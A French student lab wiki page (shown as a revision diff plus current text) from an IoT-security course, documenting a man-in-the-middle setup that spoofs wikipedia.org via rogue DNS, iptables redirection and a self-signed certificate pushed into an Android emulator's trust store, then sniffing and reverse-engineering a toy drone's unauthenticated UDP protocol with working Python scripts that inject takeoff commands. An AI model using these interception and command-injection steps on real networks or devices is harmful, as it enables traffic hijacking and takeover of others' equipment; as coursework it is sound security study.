« SE5 IdO sécurité des objets 2025/2026 b3 » : différence entre les versions

De wiki-se.plil.fr
Aller à la navigation Aller à la recherche
Aucun résumé des modifications
 
(24 versions intermédiaires par le même utilisateur non affichées)
Ligne 1 : Ligne 1 :
=== Création de la machine virtuelle ===
=== Création de la machine virtuelle ===
<syntaxhighlight lang="c">
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M
</syntaxhighlight>


=== Configuration VM ===
=== Configuration VM ===
<nowiki>#</nowiki> This file describes the network interfaces available on your system
<syntaxhighlight lang="c">
# This file describes the network interfaces available on your system


<nowiki>#</nowiki> and how to activate them. For more information, see interfaces(5).
# and how to activate them. For more information, see interfaces(5).


<nowiki>#</nowiki> The loopback network interface
# The loopback network interface


auto lo
auto lo
Ligne 13 : Ligne 16 :
iface lo inet loopback
iface lo inet loopback


<nowiki>#</nowiki> The primary network interface
# The primary network interface


auto eth0
auto eth0
Ligne 28 : Ligne 31 :




<nowiki>#</nowiki>VLAN411
#VLAN411


auto eth1
auto eth1
Ligne 34 : Ligne 37 :
iface eth1 inet static
iface eth1 inet static


       address 172.16.11.0
       address 172.16.11.1


       netmask 255.255.255.0  
       netmask 255.255.255.0
</syntaxhighlight>


=== Capbreton ===
=== Capbreton ===
<nowiki>#</nowiki>  Networking
<syntaxhighlight lang="c">
#  Networking


<nowiki>#</nowiki>
#


dhcp        = 'dhcp'
dhcp        = 'dhcp'
Ligne 49 : Ligne 54 :
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']


<nowiki>#</nowiki>
#
 
Configuration


==== Configuration ====
auto Trunk.411
auto Trunk.411


Ligne 68 : Ligne 74 :
   bridge_ports Trunk.411
   bridge_ports Trunk.411


   up ip link set $IFACE up  
   up ip link set $IFACE up


   down ip link set $IFACE down
   down ip link set $IFACE down
</syntaxhighlight>


== Sécurisation WiFi par WPA2-PSK ==
== Sécurisation WiFi par WPA2-PSK ==
Ligne 174 : Ligne 181 :
== Serveur Apache sécurisé ==
== Serveur Apache sécurisé ==


=== Génération du certificat '''auto-signé pour Apache''', ===
=== Génération du certificat auto-signé Apache ===
<syntaxhighlight>
<syntaxhighlight>
openssl req -x509 -nodes -days 365 \
openssl req -x509 -nodes -days 365 \
Ligne 205 : Ligne 212 :
</VirtualHost>
</VirtualHost>


</syntaxhighlight>Pour activer<syntaxhighlight lang="c">
</syntaxhighlight>
 
==== Pour activer ====
<syntaxhighlight lang="c">
a2ensite site-se5.conf
a2ensite site-se5.conf
service apache2 reload
service apache2 reload
</syntaxhighlight>Pour vérifier l'écoute du port 443<syntaxhighlight lang="c">
# ss -tulpn | grep 443
tcp  LISTEN 0      128                *:443            *:*    users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6))
</syntaxhighlight>
== Machine virtuelle android ==
=== Installation de la machine virtuelle Android ===
==== 1ère tentative avec QEMU : Création disque ====
<syntaxhighlight lang="c">
qemu-img create -f qcow2 android.qcow2 16G
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16
</syntaxhighlight>
===== Installation de l'android =====
<syntaxhighlight lang="c">
qemu-system-x86_64 \
  -m 4096 \
  -smp 4 \
  -enable-kvm \
  -drive file=android.qcow2,format=qcow2 \
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \
  -boot d \
  -net nic -net user
</syntaxhighlight>Pour lancer l'android : <syntaxhighlight lang="c">
qemu-system-x86_64  -m 4096  -smp 4  -enable-kvm  -drive file=android.qcow2,format=qcow2 -net nic -net user
</syntaxhighlight>
==== 2ème tentative avec Android Studio ====
===== Installation d’Android Studio =====
J'ai installé Android Studio à partir du site officiel de Google.
Après l’installation, les composants suivants ont été installés via le SDK Manager :
* Android SDK Platform
* Android SDK Platform-Tools
* Android Emulator
L’installation du SDK s’est déroulée sans erreur particulière
Puis la création de l'AVD :
* Modèle : Pixel 6 Pro
* Version : API 31 Android 12
* Architecture : x86_64
== Mise en place du certificat ==
Première tentative avec les commandes suivantes :<syntaxhighlight lang="c">
adb root
adb shell avbctl disable-verification
adb reboot
adb wait-for-device root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot
</syntaxhighlight>
=== Problèmes rencontrés ===
==== Accès root et système en lecture seule ====
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.
=== Résolutions ===
Démarrage de l'émulateur en Cold Boot avec la commande : <syntaxhighlight lang="c">
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load
</syntaxhighlight>Puis,<syntaxhighlight lang="c">
adb root
adb disable-verity
adb reboot
adb root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts/
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot
</syntaxhighlight>L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions
== Drone ==
=== Interface de l'application du drone "RC UFO" ===
[[Fichier:Drone.jpg|centré|vignette|480x480px]]
Pour passe en mode "Monitor" j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone<syntaxhighlight lang="c">
airmon-ng start wlx40a5efd21166
</syntaxhighlight><syntaxhighlight lang="c">
airodump-ng -c 1 wlan0mon
</syntaxhighlight>40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 <syntaxhighlight lang="c">
iwconfig wlan0mon channel 1
wireshark
</syntaxhighlight>Ici, j'ai mis un filtre pour intercepter les paquets du drône :<syntaxhighlight lang="c">
wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099
</syntaxhighlight>
* ne garde que les '''donnée''' (Data)
* ne garde que ce qui passe par '''commandes'''
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre <code>wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099</code> Il y a le flux unidirectionnel émis par le smartphone (<code>192.168.1.100</code>) vers le drone (<code>192.168.1.1</code>). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.
Sur la trame sélectionnée (<code>03 66 80 80 ba 80 00 3a 99</code>)  on peut identifier l'en-tête fixe (<code>03 66</code>), les axes au neutre (<code>0x80</code>), et la modification du '''4 ème octet''' (<code>0xC0</code>) qui correspond l'instruction '''<nowiki/>'décoller''''
=== Connexion Zabeth-Drone ===
Configuration wifi :<syntaxhighlight lang="c">
iface wlan1 inet static
  wireless-essid WIFI_UFO_2320c0
  address 192.168.1.101/24
</syntaxhighlight>Vérification :
<code>iwconfig</code><syntaxhighlight>
wlan1    IEEE 802.11  ESSID:"WIFI_UFO_2320c0" 
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23 
          Bit Rate=26 Mb/s  Tx-Power=22 dBm 
          Retry short limit:7  RTS thr:off  Fragment thr:off
          Encryption key:off
          Power Management:on
          Link Quality=63/70  Signal level=-47 dBm 
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:28  Missed beacon:0
</syntaxhighlight><code>ping 192.168.1.1</code><syntaxhighlight lang="c">
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms
</syntaxhighlight>
</syntaxhighlight>
=== Tentatives de control du drône ===
==== Première tentative ====
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header <code>03 66</code>, Footer <code>99</code>) et les octets correspondant aux axes du joystick
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage :
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.<syntaxhighlight lang="py">
# SOCK_DGRAM = Protocole UDP
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# STOP
# Tout est à 80 Checksum à 00
# Code : 03 66 80 80 80 80 00 00 99
cmd_stop = bytes.fromhex("036680808080000099")
# decoller
# 03 66 : Header
# 80    : Joystick Gauche
# C0    : Joystick Gauche
# 80    : Joystick Droit (Avancer)
# 80    : Joystick Droit
# 00    : Boutons
# 40    : Checksum (C0 - 80 = 40)
# 99    : Fin
cmd_decollage = bytes.fromhex("036680c08080004099")
# atterissage
cmd_baisse = bytes.fromhex("036680008080008099") # Coupe tout brutalement
try:
    print("\ndemarage")
    print("decollage")
    t_end = time.time() + 3
    while time.time() < t_end:
        client.sendto(cmd_decollage, (IP_DRONE, PORT))
        time.sleep(0.05) # 20fois/s
    # arret
    print("stop")
    for i in range(20):
        client.sendto(cmd_stop, (IP_DRONE, PORT))
        time.sleep(0.05)
</syntaxhighlight>Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses :
* le drone réagit bien aux envois de données
* le calcul du Checksum était incorrect (le drone rejetait les paquets)
* le décollage nécessite peut être un bouton pour pouvoir décoller
==== Deuxième tentative ====
J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :
[[Fichier:Wireshark3.png|néant|vignette|866x866px]]
En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé  :
* Trame analysée : <code>03 66 80 82 7C 80 00 FE 99</code>
* Calcul : <code>80 ^ 82 ^ 7C ^ 80 ^ 00 = FE</code>
Donc utilisation de XOR pour valider
===== Recherche du code de démarrage =====
Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :<syntaxhighlight lang="py">
def envoyer_paquet(bouton_valeur):
    # Trame : Header + 4 axes neutres + bouton + checksum + footer
    # Axes neutres = 0x80 (128)
    header = [0x03, 0x66]
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]
    # Calcul Checksum XOR
    checksum = 0
    for b in data:
        checksum = checksum ^ b
    packet = bytes(header + data + [checksum] + [0x99])
    client.sendto(packet, (IP_DRONE, PORT))
try:
    print("\n Initialisation (Neutre)...")
    for _ in range(20):
        envoyer_paquet(0x00)
        time.sleep(0.05)
    print("\nTest des boutons de démarrage...")
    #boutons les plus probables : 1, 2, 4, 8...
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]
    for code in bouton:
        print(f"Test bouton code: {hex(code)} ...")
        t_fin = time.time() + 2 #2s
        while time.time() < t_fin:
            envoyer_paquet(code)
            time.sleep(0.05)
        # pause
        for _ in range(10):
            envoyer_paquet(0x00)
            time.sleep(0.05)
    print("\nTest terminé.")
</syntaxhighlight>Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01'''  Donc, c'est surement le bouton de décollage
===== Script de control et observation sur Wireshark =====
<syntaxhighlight lang="py">
import socket
import time
IP_DRONE = "192.168.1.1"
PORT = 7099
MON_IP = "192.168.1.101"
code_decollage = 0x01
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.bind((MON_IP, 0))
def commande(bouton):
    header = [0x03, 0x66]
    data = [0x80, 0x80, 0x80, 0x80, bouton]
    checksum = 0
    for b in data:
        checksum = checksum ^ b
    return bytes(header + data + [checksum] + [0x99])
try:
    print(f"Lancement {hex(code_decollage)}")
    print("Connexion (Neutre)...")
    for _ in range(20):
        client.sendto(commande(0x00), (IP_DRONE, PORT))
        time.sleep(0.05)
    print("Decollage")
    t_fin = time.time() + 2
    while time.time() < t_fin:
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))
        time.sleep(0.05)
    print("Stop")
    for _ in range(30):
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))
        time.sleep(0.05)
except KeyboardInterrupt:
    print("Arrêt urgence")
finally:
    client.close()
</syntaxhighlight>Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé
[[Fichier:14.png|néant|vignette|651x651px]]

Version actuelle datée du 25 janvier 2026 à 22:29

Création de la machine virtuelle

xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M

Configuration VM

# This file describes the network interfaces available on your system

# and how to activate them. For more information, see interfaces(5).

# The loopback network interface

auto lo

iface lo inet loopback

# The primary network interface

auto eth0

iface eth0 inet static

       address 172.26.145.111

       netmask 255.255.255.0

       gateway 172.26.145.251

       dns-nameservers 172.26.145.251


#VLAN411

auto eth1

iface eth1 inet static

       address 172.16.11.1

       netmask 255.255.255.0

Capbreton

#  Networking

#

dhcp        = 'dhcp'

vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,

       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']

#

Configuration

auto Trunk.411

iface Trunk.411 inet manual

       vlan-raw-device Trunk

       up ip link set $IFACE up

       down ip link set $IFACE down

auto g3_handrian

iface g3_handrian inet manual

   bridge_ports Trunk.411

   up ip link set $IFACE up

   down ip link set $IFACE down

Sécurisation WiFi par WPA2-PSK

dot11 ssid SE5-handrian
  vlan 411
  authentication open
  authentication key-management wpa
  wpa-psk ascii 0 " "
  mbssid guest-mode
exit
interface Dot11Radio1
  encryption vlan 411 mode ciphers aes-ccm
  ssid SE5-handrian
  mbssid
  no shutdown
exit

interface Dot11Radio1.411
  encapsulation dot1Q 411
  bridge-group 11
exit

interface GigabitEthernet0.411
  encapsulation dot1Q 411
  bridge-group 11
exit

Pour vérifier : ap# sh dot11 bssid

ap#sh dot11 bssid                                                               
Interface      BSSID         Guest  SSID                                        
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian

Installer isc-dhcp-server dans la VM  : /etc/dhcp/dhcpd.conf

subnet 172.16.11.0 netmask 255.255.255.0 {
  range 172.16.11.100 172.16.11.200;
  option routers 172.16.11.1;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
  option domain-name-servers 172.16.11.1;
}

dans /etc/default/isc-dhcp-server : INTERFACESv4="eth1"

dans /etc/sysctl.conf : décommenter : net.ipv4.ip_forward=1

sysctl -p /etc/sysctl.conf : pour recharger configuration sysctl.

sysctl net.ipv4.ip_forward : pour vérifier

Interception de flux

Redirection par DNS

Modification du fichier /etc/bind/named.conf.local

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "wikipedia.org" {
        type master;
        file "/etc/bind/db.wikipedia.org";
};

Création de la zone db.wikipedia.org

$TTL    604800
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (
                             10         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns.wikipedia.org.
ns      IN      A       172.16.11.1
@       IN      A       172.16.11.1
www     IN      A       172.16.11.1

Redirection réseau

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -L -n -v

Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0

Serveur Apache sécurisé

Génération du certificat auto-signé Apache

openssl req -x509 -nodes -days 365 \
  -newkey rsa:2048 \
  -keyout /etc/ssl/apache/apache-selfsigned.key \
  -out /etc/ssl/apache/apache-selfsigned.crt \
  -subj "/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org"

Configuration Apache

<VirtualHost *:443>
    ServerName wikipedia.org

    DocumentRoot /var/www/html


    SSLEngine on
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key

    ErrorLog ${APACHE_LOG_DIR}/site-error.log
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined

</VirtualHost>

<VirtualHost *:80>
    ServerName wikipedia.org
    Redirect permanent / https://wikipedia.org/
</VirtualHost>

Pour activer

a2ensite site-se5.conf
service apache2 reload

Pour vérifier l'écoute du port 443

# ss -tulpn | grep 443
tcp   LISTEN 0      128                *:443             *:*    users:(("apache2",pid=5394,fd=6),("apache2",pid=5393,fd=6),("apache2",pid=5390,fd=6))

Machine virtuelle android

Installation de la machine virtuelle Android

1ère tentative avec QEMU : Création disque

qemu-img create -f qcow2 android.qcow2 16G
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16
Installation de l'android
qemu-system-x86_64 \
  -m 4096 \
  -smp 4 \
  -enable-kvm \
  -drive file=android.qcow2,format=qcow2 \
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \
  -boot d \
  -net nic -net user

Pour lancer l'android :

qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user

2ème tentative avec Android Studio

Installation d’Android Studio

J'ai installé Android Studio à partir du site officiel de Google.

Après l’installation, les composants suivants ont été installés via le SDK Manager :

  • Android SDK Platform
  • Android SDK Platform-Tools
  • Android Emulator

L’installation du SDK s’est déroulée sans erreur particulière

Puis la création de l'AVD :

  • Modèle : Pixel 6 Pro
  • Version : API 31 Android 12
  • Architecture : x86_64

Mise en place du certificat

Première tentative avec les commandes suivantes :

adb root
adb shell avbctl disable-verification
adb reboot
adb wait-for-device root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot

Problèmes rencontrés

Accès root et système en lecture seule

Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount (adb remount) ou de modification du système échouaient.

Résolutions

Démarrage de l'émulateur en Cold Boot avec la commande :

emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load

Puis,

adb root
adb disable-verity
adb reboot
adb root
adb remount
adb push 500e3c27.0 /system/etc/security/cacerts/
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0
adb reboot

L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions

Drone

Interface de l'application du drone "RC UFO"

Drone.jpg


Pour passe en mode "Monitor" j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone

airmon-ng start wlx40a5efd21166
airodump-ng -c 1 wlan0mon

40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0

iwconfig wlan0mon channel 1
wireshark

Ici, j'ai mis un filtre pour intercepter les paquets du drône :

wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099
  • ne garde que les donnée (Data)
  • ne garde que ce qui passe par commandes
Wireshark.png

Avec le filtre wlan.addr == 40:07:76:C0:20:23 && wlan.fc.type == 2 && udp.port == 7099 Il y a le flux unidirectionnel émis par le smartphone (192.168.1.100) vers le drone (192.168.1.1). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.

Sur la trame sélectionnée (03 66 80 80 ba 80 00 3a 99) on peut identifier l'en-tête fixe (03 66), les axes au neutre (0x80), et la modification du 4 ème octet (0xC0) qui correspond l'instruction 'décoller'

Connexion Zabeth-Drone

Configuration wifi :

iface wlan1 inet static
  wireless-essid WIFI_UFO_2320c0
  address 192.168.1.101/24

Vérification : iwconfig

wlan1     IEEE 802.11  ESSID:"WIFI_UFO_2320c0"  
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
          Link Quality=63/70  Signal level=-47 dBm  
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0

ping 192.168.1.1

64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms

Tentatives de control du drône

Première tentative

À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header 03 66, Footer 99) et les octets correspondant aux axes du joystick

Pour le script de contrôle j'ai tenté de reproduire une commande de décollage :

J'ai supposé un calcul par soustraction par rapport à la valeur neutre.

# SOCK_DGRAM = Protocole UDP
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# STOP
# Tout est à 80 Checksum à 00
# Code : 03 66 80 80 80 80 00 00 99
cmd_stop = bytes.fromhex("036680808080000099")

# decoller
# 03 66 : Header
# 80    : Joystick Gauche
# C0    : Joystick Gauche
# 80    : Joystick Droit (Avancer)
# 80    : Joystick Droit
# 00    : Boutons
# 40    : Checksum (C0 - 80 = 40)
# 99    : Fin
cmd_decollage = bytes.fromhex("036680c08080004099")

# atterissage
cmd_baisse = bytes.fromhex("036680008080008099") # Coupe tout brutalement

try:
    print("\ndemarage")

    print("decollage")
    t_end = time.time() + 3
    while time.time() < t_end:
        client.sendto(cmd_decollage, (IP_DRONE, PORT))
        time.sleep(0.05) # 20fois/s

    # arret
    print("stop")
    for i in range(20):
        client.sendto(cmd_stop, (IP_DRONE, PORT))
        time.sleep(0.05)

Cette tentative n'a pas permis de faire décoller le drone. Cela a indiqué deux choses :

  • le drone réagit bien aux envois de données
  • le calcul du Checksum était incorrect (le drone rejetait les paquets)
  • le décollage nécessite peut être un bouton pour pouvoir décoller

Deuxième tentative

J'ai refait les captures de paquets sur wireshark en utilisant mon téléphone :

Wireshark3.png

En analysant une trame valide capturée via Wireshark quand le drone est en mouvement j'ai recalculé  :

  • Trame analysée : 03 66 80 82 7C 80 00 FE 99
  • Calcul : 80 ^ 82 ^ 7C ^ 80 ^ 00 = FE

Donc utilisation de XOR pour valider

Recherche du code de démarrage

Comme je n'ai pas d'information sur le code héxa qui correspond au bouton de décollage. J'ai écris un script Python d'attaque en force brute pour tester tous les boutons :

def envoyer_paquet(bouton_valeur):
    # Trame : Header + 4 axes neutres + bouton + checksum + footer
    # Axes neutres = 0x80 (128)
    header = [0x03, 0x66]
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]

    # Calcul Checksum XOR
    checksum = 0
    for b in data:
        checksum = checksum ^ b

    packet = bytes(header + data + [checksum] + [0x99])
    client.sendto(packet, (IP_DRONE, PORT))

try:
    print("\n Initialisation (Neutre)...")
    for _ in range(20):
        envoyer_paquet(0x00)
        time.sleep(0.05)

    print("\nTest des boutons de démarrage...")
    #boutons les plus probables : 1, 2, 4, 8...
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]

    for code in bouton:
        print(f"Test bouton code: {hex(code)} ...")

        t_fin = time.time() + 2 #2s
        while time.time() < t_fin:
            envoyer_paquet(code)
            time.sleep(0.05)

        # pause
        for _ in range(10):
            envoyer_paquet(0x00)
            time.sleep(0.05)

    print("\nTest terminé.")

Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur 0x01 Donc, c'est surement le bouton de décollage

Script de control et observation sur Wireshark
import socket
import time

IP_DRONE = "192.168.1.1"
PORT = 7099
MON_IP = "192.168.1.101"

code_decollage = 0x01

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.bind((MON_IP, 0))

def commande(bouton):
    header = [0x03, 0x66]
    data = [0x80, 0x80, 0x80, 0x80, bouton]
    checksum = 0
    for b in data:
        checksum = checksum ^ b
    return bytes(header + data + [checksum] + [0x99])


try:
    print(f"Lancement {hex(code_decollage)}")

    print("Connexion (Neutre)...")
    for _ in range(20):
        client.sendto(commande(0x00), (IP_DRONE, PORT))
        time.sleep(0.05)

    print("Decollage")
    t_fin = time.time() + 2
    while time.time() < t_fin:
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))
        time.sleep(0.05)

    print("Stop")
    for _ in range(30):
        client.sendto(commande(code_decollage), (IP_DRONE, PORT))
        time.sleep(0.05)

except KeyboardInterrupt:
    print("Arrêt urgence")
finally:
    client.close()

Lors du lancement du script (2 secondes de décollage) sur wireshark, le drone réagit enfin au script envoyé

14.png